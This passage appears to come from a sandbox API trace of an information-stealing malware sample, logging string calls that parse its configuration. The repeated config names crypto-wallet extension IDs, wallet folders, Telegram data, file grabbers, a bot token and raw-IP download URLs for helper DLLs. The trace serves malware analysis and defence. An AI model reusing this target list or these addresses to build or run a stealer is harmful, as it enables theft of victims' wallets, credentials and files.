Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.236] lstrcmpiW (lpString1="libs", lpString2="libs") returned 0 [0259.236] StrStrW (lpFirst="softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.236] lstrlenW (lpString="softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4867 [0259.236] LocalAlloc (uFlags=0x40, uBytes=0x2686) returned 0x6e8a60 [0259.236] StrCpyW (in: psz1=0x6bbd38, psz2="softokn3" | out: psz1="softokn3") returned="softokn3" [0259.237] LocalFree (hMem=0x6e8a60) returned 0x0 [0259.237] lstrlenW (lpString="softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension 